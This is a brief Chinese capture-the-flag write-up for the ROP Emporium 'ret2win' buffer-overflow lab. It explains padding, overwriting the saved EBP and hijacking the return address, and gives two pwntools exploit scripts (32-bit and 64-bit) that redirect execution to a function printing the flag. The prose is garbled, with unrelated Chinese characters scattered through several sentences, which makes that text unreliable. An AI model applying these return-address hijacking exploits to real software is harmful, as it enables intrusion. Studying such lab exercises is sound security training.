ROPr入口:https://ropemporium.com/
1.無法寫入shellcoede
, 查找敏感的函數(shù)(作者自己留下的后門函數(shù))
2.既然有了可以利用的函數(shù),我們就開始構(gòu)造
3.fgets()
最多讀取buffer-1
(包括回車)
4.
LEA
是微機(jī)8086/8088系列的一條指令富腊,取自英語Load effective address——取[有效地址],也就是取[偏移地址]跷跪。在微機(jī)8086/8088中有20位[物理地址]沪猴,由16[位段]基址向左偏移4位再與偏移地址之和得到。地址傳送指令之一澈魄。
mov ax,2
mov bx,1
sub ax,bx
其中sub ax,bx就是ax中的值減bx中的值景鼠,等于1,然后把結(jié)果痹扇,也就是1铛漓,放入ax中。
6.為什么要p32(0) 回答:覆蓋ebp的值 鲫构,在執(zhí)行l(wèi)eave的時候其實就是在pop ebp浓恶。leave詳解
在16位匯編下相當(dāng)于:
mov sp,bp
pop bp
在32位匯編下相當(dāng)于:
mov esp,ebp
pop ebp
7.知道了溢出大小,p32(0),就差我們的ret了结笨, ret是返回地址的意思包晰。 我們可以利用ret,劫持程序的流程(到達(dá)我們想去的地方)炕吸。
8.點開有驚喜:https://blog.csdn.net/striver1205/article/details/25695437
int ret2win()
{
printf("Thank you! Here's your flag:");
return system("/bin/cat flag.txt");
}
32
from pwn import*
##context.log_level = 'debug'
p = process("./ret2win32")
##p = remote("","")
ret2win_addr = 0x8048659 //跳轉(zhuǎn)到這個函數(shù)里面去執(zhí)行system(cat .....)
payload = 'A'* 0x28
payload += p32(0)
payload += p32(ret2win_addr)
p.sendline(payload)
p.interactive()
原理一樣
64
from pwn import*
##context.log_level = 'debug'
p = process("./ret2win")
##p = remote("","")
system_addr = 0x400811
payload = 'A' * 0x20
payload += p64(0)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()